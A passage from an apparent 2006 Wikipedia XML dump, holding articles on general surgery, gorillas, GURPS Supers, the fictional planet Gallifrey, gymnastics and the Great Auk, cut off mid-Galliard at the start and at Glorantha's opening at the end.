Another special step used during a galliard is the tassle kick (Salti del Fiocco). These steps are found in [[Cesare Negri]]'s manual, and involve a galliard step ending with a 180 degree or 360 degree spin, during which the dancer kicks out to kick a tassle suspended between knee and waist height.

==Musical form==

Musical compositions in the galliard form appear to have been written and performed long after the dance fell out of popular use. In musical compositions, the galliard often filled the role of an ''after dance'' written in 6, which followed and mimicked another piece (sometimes a [[pavane]]) written in 4. The distinctive 6/8 rhythm can still be heard today in songs such as [[God Save the Queen]].

[[Category:European dances]]
[[Category:Historical dance]]
&lt;!-- [[Category:Musical forms]] redundant --&gt;
[[fr:Gaillarde]]
[[ja:ガイヤルド]]
[[pl:Galiarda]]</text>
    </revision>
  </page>
  <page>
    <title>General surgery</title>
    <id>12545</id>
    <revision>
      <id>33937831</id>
      <timestamp>2006-01-05T05:25:33Z</timestamp>
      <contributor>
        <username>Every1blowz</username>
        <id>332508</id>
      </contributor>
      <minor />
      <comment>added category</comment>
      <text xml:space="preserve">[[Image:Surgeon.jpg|thumb|250px|A surgeon operating]]

'''General surgery''' deals with surgical treatment of abdominal organs, e.g. [[intestine]]s inclusive [[esophagus]], [[stomach]], [[Colon (anatomy)|colon]], [[liver]], [[gallbladder]] and [[bile duct]]s, and furthermore of the [[thyroid]] gland (depending on the availability of head and neck surgery specialists) and [[hernia]].

In the US and in the UK, general surgeons are responsible for [[breast]] care, including the surgical treatment of [[breast cancer]]. In most other countries, breast care falls under [[Obstetrics and Gynecology]] and its sub-specialty of [[Mastology]] (or [[Senology]]).

In the last few years [[minimally invasive surgery]] has become more and more important. Considerable enthusiasm has built around [[robotic surgery]] (or, more accurately, robotic-assisted surgery), despite the scant data currently available failing to show real benefit.

==See also==
*[[Surgery]]
*[[Abdominal surgery]]

{{Medicine}}

[[Category:Surgery]]
[[Category:Surgical specialties]]
{{treatment-stub}}

[[ko:일반외과]]
[[pl:Chirurgia ogólna]]
[[pt:Cirurgia geral]]
[[tr:Genel cerrahi]]</text>
    </revision>
  </page>
  <page>
    <title>Gorilla</title>
    <id>12546</id>
    <revision>
      <id>42009435</id>
      <timestamp>2006-03-03T04:50:25Z</timestamp>
      <contributor>
        <username>Bookofjude</username>
        <id>94969</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/221.133.205.155|221.133.205.155]] to last version by RexNL</comment>
      <text xml:space="preserve">{{alternateuses}}
{{Taxobox
| color = pink
| name = Gorillas
| image = LowlandGorilla.PD.jpg
| image_width = 200px
| image_caption = [[Eastern Lowland Gorilla]]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primate]]s
| familia = [[Hominidae]]
| genus = '''''Gorilla'''''
| genus_authority = [[Isidore Geoffroy Saint-Hilaire|I Geoffroy]], [[1853]]
| type_species = ''[[Western Gorilla|Troglodytes gorilla]]''
| type_species_authority = Savage, 1847
| subdivision_ranks = [[Species]]
| subdivision = 
''[[Western Gorilla|Gorilla gorilla]]''&lt;br/&gt;
''[[Eastern Gorilla|Gorilla beringei]]''
}}

The '''gorilla''', the largest of the [[primate]]s, is a ground-dwelling [[herbivore]] that inhabits the [[forest]]s of [[Africa]]. Gorillas are divided into two species and (under debate as of 2006) either four or five subspecies.  With 92-98% of its [[DNA]] being identical to that of a human, it is the second closest living relative to [[human]]s after the two [[chimpanzee]] species.

== Physical characteristics ==
Gorillas move about by [[knuckle-walking]].  Adult males range in height from 1.65&amp;nbsp;m to 1.75&amp;nbsp;m (5.4 to 5.7 feet), and in weight from 140&amp;nbsp;kg to 165&amp;nbsp;kg (305 to 360 pounds).  Females are about half the weight of males.

[[Gestation]] is 8½ months. There are typically 3&amp;ndash;4 years between births. Infants stay with their mothers for 3&amp;ndash;4 years. Females mature at 10&amp;ndash;12 years (earlier in captivity); males 11&amp;ndash;13 years, sometimes sooner if they assume leadership early. Lifespan is between 30&amp;ndash;50 years. The [[Philadelphia Zoo]]'s [[Massa]] set the longevity record of 54 years at the time of his death. 

Gorillas are mainly [[Herbivore|vegetarian]], eating fruits, leaves, and shoots. Insects make up 1-2% of their diet. Due to their diet of plant life, gorillas often have bloated stomachs.

Almost all gorillas share the same [[blood type]], B.

===Strength===
Gorillas are renowned for their strength, but no research has been conducted into how strong they are compared to humans.

==Classification==
Until recently there were considered to be three species of gorilla, The Western Lowland, The Eastern Lowland and Mountain Gorilla. There is now agreement that the gorilla is divided into two species of at least two subspecies each. More recently it has been claimed that a third subspecies exists in one of these groups. [http://www.gorillahub.com/GorillaQuickFacts.htm]

[[image:bristol.zoo.western.lowland.gorilla.arp.jpg|thumb|right|250px|[[Western Lowland Gorilla]]]]

[[Primatology|Primatologists]] continue to explore the relationships between various gorilla populations. The most recent publication (''Primate Taxonomy'', [[Colin Groves]] [[2001]] ISBN 1-56098-872-X) lists two recognized [[species]], with four [[subspecies]]: 

'''Gorilla gorilla''', [[Western Gorilla]]
* ''Gorilla gorilla gorilla'' [[Western Lowland Gorilla]]
* ''Gorilla gorilla diehli'' [[Cross River Gorilla]]

'''Gorilla beringei''', [[Eastern Gorilla]]
* ''Gorilla beringei beringei'', [[Mountain Gorilla]]
* ''Gorilla beringei graueri'', [[Eastern Lowland Gorilla]]

The proposed third subspecies of ''Gorilla beringei'' which has not yet received a full latin designation is the [[Bwindi Gorilla]]

Both species of gorilla are [[endangered species|endangered]], and have been subject to intense [[poaching]] for a long time. Threats to gorilla survival include [[habitat destruction]] and the [[bushmeat]] trade.

== Gorilla culture ==
[[Image:Male silverback Gorilla.JPG|right|thumbnail|250px|A silverback gorilla]]
[[Image:gorilla-kiktajm.png|thumb|left|Gorilla at the Cincinnati Zoo]]
A '''silverback''' is an adult male gorilla, typically more than 12 years of age and named for the distinctive patch of silver hair on his back.  A silverback gorilla has large canines that come with maturity. Blackbacks are sexually immature males of up to 11 years of age.

Silverbacks are the strong, dominant troop leaders. Each typically leads a troop of 5 to 30 gorillas and is the center of the troop's attention, making all the decisions, mediating conflicts, determining the movements of the group, leading the others to feeding sites and taking responsibility for the safety and well-being of the troop.

Males will slowly begin to leave their original troop when they are about 11 years old, travelling alone or with a group of other males for 2&amp;ndash;5 years before being able to attract females to form a new group and start breeding. While infant gorillas normally stay with their mother for 3&amp;ndash;4 years, silverbacks will care for weaned young orphans.

If challenged by a younger or even by an outsider male, a silverback will scream, beat his chest, shake broken-off branches at the intruder, bare his teeth then charge forward. If he is killed by disease, accident, fighting or poachers, the group will split up or be taken over in its entirety by a male descendant or even an unrelated male; there is a strong risk that a new male may kill the infants of the dead silverback.

== Intelligence ==
Gorillas are closely related to humans and are considered highly intelligent. A few individuals in captivity, such as [[Koko (gorilla)|Koko]], have been taught a subset of [[sign language]] (see [[animal language]] for a discussion).
 
=== Natural tool use by all the &quot;great apes&quot; ===
[[Image:Gorrila tool use-Efi.jpg||thumb|200px|right|A female gorilla exhibiting tool use by using a tree trunk as a support whilst fishing.]]
The following observations were made by a team led by Thomas Breuer of the Wildlife Conservation Society in September [[2005]].  Gorillas are now known to use [[tool]]s in the wild. A female gorilla in the [[Nouabalé-Ndoki National Park]] in the [[Republic of Congo]] was recorded using a stick to gauge the depth of water whilst crossing a [[swamp]]. A second female was seen using a tree stump as a bridge and also as a support whilst fishing in the swamp. This means that all of the [[great ape]]s are now known to use tools. [http://biology.plosjournals.org/perlserv/?request=get-document&amp;doi=10.1371/journal.pbio.0030380].

In September of 2005, a two and a half year old gorilla in the Republic of Congo was discovered using rocks to smash open palm nuts. The old assumption that higher &quot;animals&quot;, like gorillas, don't use tools, was  wrong. (Sea otters use rocks on their chests to break sea urchins). Great apes are endowed with a semi-precision grip, and certainly have been able to use both simple tools and  even weapons, by improvising a club from a convenient fallen branch. With training, in 20th Century carnival and circus acts , chimpanzees have been taught to operate simple motorbikes. A baboon in South Africa operated a remotely located railroad switch, to help his companion, a disabled rural rail junction master. 
[http://www.cnn.com/2005/WORLD/africa/10/18/nutcracking.gorillas.ap/index.html].

[[Image:Gorilla beringei graueri01.jpg|thumb|left|''Gorilla beringei graueri'']]
&lt;br clear=all&gt;

==Gorillas in pop culture==
{{main|Gorillas in popular culture}}
Giant gorillas have been a recurring theme in film since the 1930s. Following their popularity in the 1930s and 40s, most notably in the films [[King Kong]] and [[Mighty Joe Young]], gorillas came to be heavily featured in [[comic book]]s. Short contrived gorilla plots where often included so that they could appear on the cover to boost sales.

Gorilla suits are an eternally popular gag costume, appearing in large numbers of TV shows since the 1950s. A number of sports teams have a gorilla as a mascot usually personified by an actor in a gorilla suit.
&lt;!--please make fictional-gorilla additions to the sub-article at the link noted here --&gt;

==See also==
*[[List of apes]] &amp;mdash; notable individual apes
*[[Dian Fossey]] &amp;mdash; researcher and activist

== External links ==
{{commons|Gorilla}}
{{3d commons|Gorilla}}
{{Wikispecies|Gorilla}}
{{wikinews|Researchers: Wild gorillas seen using tools}}
*[http://bagheera.com/inthewild/van_anim_gorilla.htm Bagheera] An educational website about Earth's Endangered Animals.
*[http://www.gorilla-haven.org/ghfamous.htm Gorilla Haven] - information about gorillas
*[http://homepage.mac.com/wildlifeweb/gorillas/ Gorillas Online] - natural history, genetics, conservation and photos
*[http://www.koko.org/ The Gorilla Foundation], home of Koko the gorilla famous for her sign language skills
*[http://homepage.mac.com/wildlifeweb/gorillas/images/ Tim Knight's Gorilla Gallery] - gorilla pictures 
*[http://pin.primate.wisc.edu/factsheets/entry/gorilla Primate Info Net ''Gorilla'' Factsheet] - taxonomy, ecology, behavior and conservation
*[http://www.sandiegozoo.org/animalbytes/t-gorilla.html San Diego Zoo Gorilla Factsheet] - features a video and photos
*[http://www.worldwildlife.org/gorillas/ World Wildlife Fund: Gorillas] - conservation, facts and photos
*[http://www.berggorilla.org/ Mountain Gorilla] - and also a lot of facts about gorillas
*[http://www.rozhlas.cz/unmasking/portal/ Gorillas at Prague Zoo] - hit reality-tv show (24/7) of live gorillas at the Prague Zoo

[[Category:Apes]]
[[Category:Wildlife of Africa]]

[[ar:غوريلا]]
[[ca:Goril·la]]
[[cs:Gorila]]
[[da:Gorilla]]
[[de:Gorilla]]
[[es:Gorilla gorilla]]
[[eo:Gorilo]]
[[fr:Gorille]]
[[gl:Gorila]]
[[ko:고릴라]]
[[io:Gorilo]]
[[it:Gorilla gorilla]]
[[he:גורילה]]
[[lt:Gorila]]
[[li:Gorilla]]
[[nl:Gorilla's]]
[[ja:ゴリラ]]
[[no:Gorilla]]
[[pl:Goryl]]
[[pt:Gorila]]
[[ru:Горилла]]
[[fi:Gorilla]]
[[sv:Gorilla]]
[[th:กอริลลา]]
[[zh:大猩猩]]</text>
    </revision>
  </page>
  <page>
    <title>Greek Element</title>
    <id>12547</id>
    <revision>
      <id>15910229</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Classical element]]
</text>
    </revision>
  </page>
  <page>
    <title>GURPS Supers</title>
    <id>12549</id>
    <revision>
      <id>38278133</id>
      <timestamp>2006-02-05T07:17:59Z</timestamp>
      <contributor>
        <username>Dahak</username>
        <id>764263</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Infobox RPG
|title=GURPS Supers
|image=[[Image:GURPS_Supers.jpg||200px]]
|caption=''GURPS Supers'' 2&lt;small&gt;nd&lt;/small&gt; edition cover
|designer=Loyd Blankenship
|publisher=[[Steve Jackson Games]]
|date=[[1989]]
|system=[[GURPS]]
|genre=Super-hero
}}
'''GURPS Supers''' is a [[tabletop role-playing game|tabletop-style]] [[role-playing game]] published by [[Steve Jackson Games]], based on the [[superhero]] genre.

''GURPS Supers'' is a set of rules extensions for Steve Jackson Games' [[GURPS]] (Generic Universal Role Playing System) to cover role-playing campaigns with superhero characters and adventures. It has rules for creating superhero characters, with many example characters. Players can choose from several different basic types of superhero characters that influence how the character's powers selected. Players can select from a wide variety of powers and their modifications given in ''GURPS Supers'', augmented by those in the ''GURPS Basic'', plus any other GURPS book included by the campaign. The rules book includes how to create superhero campaigns, and ways for the [[game master]] to customize the style of the campaign.

As part of the GURPS system, ''GURPS Supers'' has the advantage of easily allowing the exchange player's characters or ideas between any the numerous other role-playing campaigns and genres supported by GURPS. It also has the disadvantage of tending to shift the typical superhero campaign to the more &quot;realistic&quot;, or gritty, style of GURPS, rather than the more brash and glorious style of the [[Silver Age of Comic Books]], and favors more human, lower-powered heroes rather than the more extreme high-powered ones. Many of the superpowers unique to ''GURPS Supers'' appear as Advantages and Disadvantages in the [[GURPS 4e Basic Set]].

There are two editions to ''GURPS Supers''. The first edition was printed in [[1989]] &amp;mdash; the second edition in [[1990]].  The first edition had groupings of character powers that were not used in the second edition. Both are based on the Third Edition of ''GURPS Basic''. There are various aids, supplements and ready-made adventures available, including ''GURPS Supers Adventures'', ''GURPS Supers: Death Wish'', ''GURPS Supers: School of Hard Knocks'', ''Hellboy Sourcebook and Roleplaying Game'' (based on the [[Hellboy]]) series, and ''GURPS Wild Cards'' (based on [[Wild Cards]] series).

For the 4th edition of GURPS, GURPS Supers was replaced by the more generic [[GURPS Powers]].

==See also==
* [[List of role-playing games]]

==External links==
* [http://www.sjgames.com/gurps/books/Supers/ Commercial official web page]
* [http://www.comicbooklife.com/pag/pp/08_18_99.html A Brief History of Super-Hero Gaming: Part II]
* [http://www.rpg.net/news+reviews/ RPGNet Reviews]

[[Category:GURPS|Supers]]</text>
    </revision>
  </page>
  <page>
    <title>Gallifrey</title>
    <id>12550</id>
    <revision>
      <id>40613871</id>
      <timestamp>2006-02-21T21:03:21Z</timestamp>
      <contributor>
        <username>TimPope</username>
        <id>203786</id>
      </contributor>
      <minor />
      <comment>link fix</comment>
      <text xml:space="preserve">[[Image:Gallifrey2.jpg|thumb|250px|A Vardan spaceship approaches Gallifrey from space (from ''[[The Invasion of Time]]'').]]
'''Gallifrey''' is a [[List of Doctor Who planets|fictional planet]] in the long-running [[United Kingdom|British]] [[science fiction on television|science fiction television]] series ''[[Doctor Who]]''. The planet is home to both [[Doctor (Doctor Who)|the Doctor]], and others of his race, the [[Time Lord|Time Lords]]. It is supposed to be located in the constellation of Kasterborous, at &quot;galactic coordinates ten-zero-eleven-zero-zero by zero-two from galactic zero centre&quot;, some 250 million [[light years]] away from [[Earth]]. During the first decade of the television series, the Doctor's home planet was not identified by name. The name was first used in the [[1973]] serial ''[[The Time Warrior]]''. 

It is never definitively stated &quot;when&quot; the appearances of Gallifrey in the television series take place. As the planet is often reached by means of time travel it could conceivably exist anywhere in the past or future relative to our present. The [[Doctor Who spin-offs|spin-off]] novels seem to take the stance that Gallifrey is in the relative past.

==Geography==
From space, Gallifrey is seen as a yellow-orange planet. The Doctor's granddaughter [[Susan Foreman|Susan]] described it as having bright, silver-leafed trees and a burnt orange sky. This casts an amber tint on anything outside the city, as seen in ''[[The Invasion of Time]]'' ([[1978]]), although Gallifrey's sky appeared blue and [[Earth]]-like in ''[[The Five Doctors]]'' ([[1983]]). It is close enough to central space lanes for spacecraft to require clearance from Gallifreyan Space Traffic Control as they pass through its system. The planet was also seen for a few seconds on the TARDIS display in the [[Doctor Who (1996)|1996 ''Doctor Who'' television movie]].

Gallifrey is surrounded by an impenetrable force field called the transduction barrier.  This prevents all outsiders (with hostile intent, or otherwise) from approaching the planet and allows the Time Lords to maintain their status of absolute neutrality, letting them observe the actions of the rest of the Universe without actually taking part in its affairs. The barrier was breached once during ''The Invasion of Time'' by the [[Sontaran]]s, when it was sabotaged from within.

Gallifrey is also the name of its major city, the Citadel, which holds the Capitol of the Time Lords. The Capitol is also known as the [[Panopticon]], under which the [[Eye of Harmony]], the [[Black_hole#The_singularity|nucleus]] of a [[black hole]], is kept. The Eye provides the power required for [[time travel]], and all Time Lord [[TARDIS]] time machines draw their power from it. Also situated in the Capitol is the [[Matrix (Doctor Who)|Matrix]], the vast extradimensional computer network which acts as the repository of all Time Lord knowledge as well as containing the memories of dead Time Lords. 

Outside the city lie wastelands where the Shobogans, or &quot;Outsiders&quot;, Gallifreyans who do not belong to the Time Lord elite, live in less technological tribal communities. The wastes of Gallifrey include the Death Zone, an area that was used as a [[gladiator|gladiatorial]] arena by the first Time Lords, pitting various species kidnapped from their respective time zones against each other (although [[Dalek]]s and [[Cyberman|Cybermen]] were considered too dangerous to use). Inside the Death Zone stands the Tomb of [[Rassilon]], the founder of Time Lord society.

==History==
Various [[Doctor Who spin-offs|spin-off]] novels and audio plays have expanded on the history and nature of Gallifrey, although many fans do not consider the information in them to be [[canon (fiction)#Doctor Who|canon]]. For more on general Time Lord history, see [[Time Lord#History within the show|here]].

{{spoiler}}
In the [[BBC Books]] novel ''[[The Ancestor Cell]]'' by [[Peter Anghelides]] and [[Stephen Cole (writer)|Stephen Cole]], Gallifrey was destroyed as a result of the [[Eighth Doctor]]'s desire to prevent the voodoo cult [[Faction Paradox]] from starting a war between the Time Lords and an unnamed Enemy. This also apparently (and retroactively) wiped the Time Lords from history. It is unclear what the attitude of the new ''Doctor Who'' television series is toward the information in the novels and audio plays, the latter produced by [[Big Finish Productions]]. However, a number of writers of the novels and audio plays are also writing for the new television series. 

In the last regular Eighth Doctor novel, ''[[The Gallifrey Chronicles]]'' by [[Lance Parkin]], it was revealed that while Gallifrey was destroyed, the Time Lords were not erased from history. However, the cataclysm set up an [[event horizon]] in time that prevented anyone from entering Gallifrey's relative past or travelling from it to the present or future. The Time Lords also survived within the Matrix, which had been downloaded into the Eighth Doctor's mind, but their reconstruction required a sufficiently advanced computer. At the novel's end, the question of whether or not the Time Lords would be restored remained unanswered. However, it can be assumed that both they and the planet were restored at some point before the start of [[2005]] series if the novels are to remain consistent with the new series' continuity.

In the 2005 season episode ''[[The End of the World (Doctor Who)|The End of the World]]'', the [[Ninth Doctor]] stated that his home planet &amp;mdash; not mentioned by name, but presumably Gallifrey &amp;mdash; was destroyed in a war and that he is the last of the Time Lords. However, the episode also indicated that the Time Lords are remembered in the far future. 

Subsequently, in ''[[Dalek (Doctor Who episode)|Dalek]]'', it was revealed that the last great [[Time War (Doctor Who)|Time War]] was fought between the Time Lords and the [[Dalek]]s, ending in the obliteration of both sides and with only two apparent survivors; the Doctor and a lone Dalek that had somehow fallen through time and crashed on [[Earth]]. At the conclusion of that episode, that surviving Dalek self-destructed, leaving the Doctor believing that he was the sole survivor of the Time War. However, as the Daleks returned in the two-part 2005 series finale, ''[[The Parting of the Ways]]'', the fate of the Time Lords may not be as definitive as well.

==''Gallifrey'' audio series==
''Gallifrey'' is also the umbrella title of a line of audio plays set in the ''Doctor Who'' universe, produced by [[Big Finish Productions]], featuring [[Louise Jameson]] as [[Leela (Doctor Who)|Leela]], [[Lalla Ward]] as President [[Romana#Romana II|Romana]], and [[John Leeson]] as two [[K-9 (Doctor Who)|K-9]] units, Mark I and Mark II.  Two series have been released.  

The ''Gallifrey'' series focuses on political struggles within the leadership of the Time Lords, centred around Romana's presidency. In the first series, Romana's progressive policies and desires to open Gallifrey up to the outside universe are faced with opposition from more conservative cultures. In addition, a terrorist group known as &quot;Free Time&quot;, who want to break the monopoly on time travel technology shared among the Time Lords and the few other temporal powers, steals a timeonic fusion device. The inquiry into the Romana's handling of the incident reveals a dark secret surrounding the Time Lords' policy of non-intervention. 

The second series sees the admission of non-Gallifreyans into the Time Lord Academy, leading to even more tension within the Time Lord political elite. Romana has to deal with Free Time infiltrators as well as an attempted coup by [[Inquisitor (Doctor Who)|Inquisitor Darkel]] (from ''[[The Trial of a Time Lord]]'', played once again by [[Lynda Bellingham]]). In addition, an ancient Gallifreyan evil returns: Pandora, a megalomaniacal former President who lives on in the Matrix and manipulates Romana and others with the goal of regaining life and power. At the end of the second series, Pandora manages to manifest herself in the form of Romana's [[Romana#Romana I|first incarnation]] (played once again by [[Mary Tamm]]). Both Romanas claim the title of Imperiatrix, absolute ruler of Gallifrey, and this sets the planet on the verge of civil war. 

A third (and possibly final) series is currently being written, but is as yet unscheduled.

==External links==
*[http://www.geocities.com/willbswift/  Rassilon, Omega, and that Other guy] &amp;mdash; every fact about Gallifrey no matter how apocryphal


[[Category:Doctor Who planets]]</text>
    </revision>
  </page>
  <page>
    <title>Gymnastics</title>
    <id>12551</id>
    <revision>
      <id>41590158</id>
      <timestamp>2006-02-28T09:45:20Z</timestamp>
      <contributor>
        <username>Tlusťa</username>
        <id>649807</id>
      </contributor>
      <minor />
      <comment>+[[cs:Gymnastika]]</comment>
      <text xml:space="preserve">'''Gymnastics''' is a [[sport]] involving the performance of sequences of movements requiring physical strength, flexibility, and kinesthetic awareness, such as [[handspring (Gymnastics)|handspring]]s and [[handstand]]s. It developed from fitness exercises used by ancient [[Hellenic civilization|Greek]] soldiers, including skills for mounting and dismounting a horse, and circus performance skills. It is often considered a dangerous sport, as the difficult acrobatic maneuvers often performed on equipment high above the ground puts the athlete at risk of serious injury.

Modern gymnastics, as regulated by the [[Fédération Internationale de Gymnastique]] incorporates six distinct disciplines:
*[[Artistic gymnastics]] (further classified as MAG and WAG)
*[[Rhythmic gymnastics]]
*[[Aerobics|Sports aerobics]]
*[[Sports acrobatics]]
*[[Trampolining]]
*[[General gymnastics]]

Of these disciplines, the two sub-disciplines of ''artistic'' and ''rhythmic'' gymnastics are the best known, having been part of [[Summer Olympic Games]] competitions. ''Individual Trampoline'' has been included in the Summer Olympics since 2000.

The discipline of [[rhythmic gymnastics]] is competed only by women (although there is a new version of this discipline for men being pioneered in [[Japan]], see [[Men's rhythmic gymnastics]]), and involves the performance of five separate routines with the use of five apparatus - ball, ribbon, hoop, clubs, rope - on a floor area, with a much greater emphasis on the aesthetic rather than the acrobatic.  Rhythmic routines are scored out of a possible 20 points.

[[Aerobics|Sports aerobics]] involves the performance of routines by individuals or pairs, 
emphasizing strength, flexibility, and aerobic fitness rather than acrobatic 
or balance skills. Routines are performed on a small floor area and generally last 60-90 seconds, being judged out of a total of 10 points.

[[Trampolining]] consists of four events, individual, synchronized, double mini trampoline and power tumbling. Only individual trampoline is included in the Olympics. Individual routines involve a build-up phase during which the gymnast jumps repeatedly to achieve height, followed by a sequence of ten leaps without pauses during which the gymnast performs a sequence of aerial tumbling skills. Routines are marked out of a maximum score of 10 points. Additional points (with no maximum) can be earned depending on the difficulty of the moves. Synchronized trampoline is similar except that both competitors must perform the routine together and marks are awarded for synchronicity. Double mini trampoline involves a smaller trampoline with a run-up, two moves are performed and the scores marked in a similar manner to individual trampoline. Tumbling involves a sprung track, athletes must perform a succession of tumbling moves and are marked on difficulty and execution.

[[General gymnastics]], sometimes called group gymnastics, enables people of all ages and abilities to participate in performance troupes of 6 to more than 150 athletes. They perform synchronized, choreographed routines. Troupes may be all one gender or mixed. There are no age divisions in general gymnastics. The largest general gymnastics exhibition is the quadrennial [[World Gymnaestrada]] which was first held in [[1939]].

[[Artistic Gymnastics]]
Artistic Gymnastics is usually divided into Men's (MAG) and Women's Gymnastics (WAG), each group doing different events; Men compete on Vault, Parallel Bars, the Pommel Horse, the Rings, the High Bar, and on the Floor, while women compete on Floor, Uneven Bars, Vault, and Beam. Though routines performed on each event may be short, they are physically exhausting and push the gymnast's strength, flexibility, endurance, and awareness to the limit.

'''WAG'''

[[Vault (gymnastics)|Vault]] - Gymnasts sprint down a runway, usually about 75 feet long, leap onto a springboard, launch onto the vault in a straight body position, flip over and land on their feet. In advanced gymnastics, the postflight may include one or multiple saltos and twists.  

In [[2001]] the traditional vault was replaced by the new vaulting table. The new apparatus is more stable than the old, giving gymnasts a larger blocking surface. 

[[Uneven Bars]] (also known as [[asymmetric bars]], UK) - The gymnast navigates a set of bars set at different heights with swinging, circling, transitions, release moves and handstands. 

[[Balance beam (gymnastics)|Beam]] - The gymnast performs a choreographed 60-90 second routine consisting of leaps, acrobatic skills, turns and dance elements on a padded beam about 125cm high, 5m long, and 10cm wide. 

[[Floor (gymnastics)|Floor]] - Gymnasts perform a choreographed exercise, consisting of tumbling, jumps, dance elements and turns, to musical accompaniment. The floor mat itself is a padded, sprung surface of about 12m X 12m.


'''MAG'''

[[Floor (gymnastics)|Floor]] - The floor is a carpeted area, 12m x 12m, usually springed. Men perform a series of tumbling passes along with flexibility, strength, and balance tests. Routines last between 50-70 seconds and are performed without music.

[[Pommel Horse]] - Men must perform circular movements around the horse with their legs while allowing only their hands to actually touch it. This is considered one of the hardest events.

[[Rings (gymnastics)|Rings]] - The rings are about 8 feet off the ground. Men must have good strength and flexibility to swing themselves on these rings while preventing the rings themselves from swinging.  The rings are the epitome of male gymnast strength.  

[[Vault (gymnastics)|Vault]] - Gymnasts sprint down a runway, usually about 75 feet long, before leaping on a springboard and holding their bodies straight while punching (blocking using only a shoulder movement) the vault and flipping over to a standing position. In advanced gymnastics, twists are added before landing.

[[Parallel Bars]] - Men hold themselves on two bars about a shoulder's width apart and about 6 1/2 feet high while performing a series of swings and balances that require great strength and coordination.

[[Horizontal bar|High Bar]] - a 1-inch thick steel bar 8 feet in the air is all the gymnast has to hold onto as he shows swings, release skills, twists, and even a change of direction.

==See also==
* [[Gymnast]]
* [[Gym]]
* [[Turners]]
* [[Trampolining]]
* [[Gymnopaedia]]
* [[World Gymnastics Championships]]
* [[NCAA Men's Gymnastics championship]]
* [[NCAA Women's Gymnastics championship]]
* [[Pole dance]]

==External links==
* [http://www.fig-gymnastics.com Fédération International de Gymnastique]
* [http://www.i-needtoknow.com/gymnastics/ Gymnastics Coaching]
* [http://gymnastic.on-topic.net/ Gymnastic Topics]

[[Category:Gymnastics]]
[[Category:Olympic sports]]
[[Category:Individual sports]]

[[ar:جمباز]]
[[cs:Gymnastika]]
[[de:Gymnastik]]
[[es:Gimnasia]]
[[fr:Gymnastique]]
[[is:Fimleikar]]
[[it:Ginnastica]]
[[nl:Turnen]]
[[ja:体操]]
[[pl:Gimnastyka]]
[[sr:Гимнастика]]
[[sv:Gymnastik]]
[[zh:体操]]</text>
    </revision>
  </page>
  <page>
    <title>Great Auk</title>
    <id>12552</id>
    <revision>
      <id>40848633</id>
      <timestamp>2006-02-23T11:44:08Z</timestamp>
      <contributor>
        <username>Bastin8</username>
        <id>154626</id>
      </contributor>
      <minor />
      <comment>Great Britain</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Great Auk
| status = {{StatusExtinct|when=[[1844]]}}
| image = Pinguinus impennis.jpg
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[bird|Aves]]
| ordo = [[Charadriiformes]]
| familia = [[auks|Alcidae]]
| genus = '''''Pinguinus'''''
| genus_authority = [[Pierre Joseph Bonnaterre|Bonnaterre]], 1791
| species = '''''P. impennis'''''
| binomial = ''Pinguinus impennis''
| binomial_authority = ([[Carolus Linnaeus|Linnaeus]], [[1758]])
}}

At 75 centimetres or 30 inches, the flightless '''Great Auk''' (''Pinguinus impennis'') was the largest of the [[auk]]s. It was hunted for food and down for mattresses from at least the [[8th century]]. It is classified as the only [[species]] in the [[genus]] '''''Pinguinus'''''. It was also known as &quot;garefowl&quot;, from the [[Old Norse]] ''geirfugl'', or &quot;penguin&quot; (see below).

The Great Auk was once to be found in great numbers on islands off eastern [[Canada]], [[Greenland]], [[Iceland]], [[Norway]], [[Ireland]] and [[Great Britain]], but it was eventually hunted to [[extinction]].  The last pair was killed [[July 3]] [[1844]], on the island of [[Eldey]] off Iceland, though a later sighting was claimed of a live individual in 1852 off the Newfoundland Banks in Canada.

They were excellent swimmers, using their wings to swim underwater. Unlike other auks, however, the Great Auk could not fly, which is what made it so vulnerable to humans. The Great Auk laid only one egg each year.

One theory connects the Great Auk with the origin of the word ''penguin'', which may have come from the [[Welsh language|Welsh]] phrase ''pen gwyn'', meaning &quot;white head&quot;, referring originally to the Great Auk (although the head of the Great Auk was not in fact white, there was a white patch behind the beak). Later, when explorers discovered apparently similar birds in the [[southern hemisphere]], what we now call [[penguin]]s, the term was supposedly transferred to them. An alternative theory, suggested by [[John Latham (ornithologist)|John Latham]] in [[1785]], claims that the word ''penguin'' comes from the [[Latin]] ''pinguis'' meaning &quot;fat&quot;, referring to the plump appearance of the bird.

Exploitation and also natural events eventually reduced the Great Auk population to very few birds. About this time collection of the Auk and its eggs for specimens began. These highly prized trophies contributed towards the demise of the species. Today about 80 preserved skins and approximately 70 eggs are known to exist.

 
==See also==
*[[Extinct birds]]

==External links==
*[http://www.rom.on.ca/biodiversity/auk/ The Great Auk - An Introduction]
*[http://bna.birds.cornell.edu/BNA/account/Great_Auk/ Great Auks described in The Birds of North America]

[[Category:Auks|Auk, Great]]
[[Category:Extinct flightless birds]]

[[de:Riesenalk]]
[[es:Pinguinus impennis]]
[[eo:Granda aŭko]]
[[fr:Grand pingouin]]
[[fy:Grutte Alk]]
[[is:Geirfugl]]
[[he:אלקה גדולה]]
[[nl:Reuzenalk]]
[[ja:オオウミガラス]]
[[no:Geirfugl]]
[[nn:Geirfugl]]
[[pl:Alka olbrzymia]]
[[sl:Velika njorka]]
[[fi:Siivetön ruokki]]
[[sv:Garfågel]]
[[ta:பெரிய ஓக்]]</text>
    </revision>
  </page>
  <page>
    <title>Glorantha</title>
    <id>12553</id>
    <revision>
      <id>42092665</id>
      <timestamp>2006-03-03T19:56:18Z</timestamp>
      <contributor>
        <username>RandomCritic</username>
        <id>838239</id>
      </contributor>
      <comment>added [[Category:Fantasy worlds]]</comment>
      <text xml:space="preserve">'''Glorantha''' is the mythical [[Fantasy world|world]] developed originally by [[Greg Stafford]] and that has since been used as the background for many [[role-playing games]], especially [[RuneQuest]] and [[Hero Wars|HeroQuest]].  The world is characterised by its complex approach to mythology, heavily influenced by the work of [[Joseph Campbell]], its long and distinctive history as a setting for role-playing games, and among [[fantasy role-playing]] games, its relative lack of [[J. R. R. Tolkien|Tolkienesque]] influence.

==History of the Gloranthan game world==
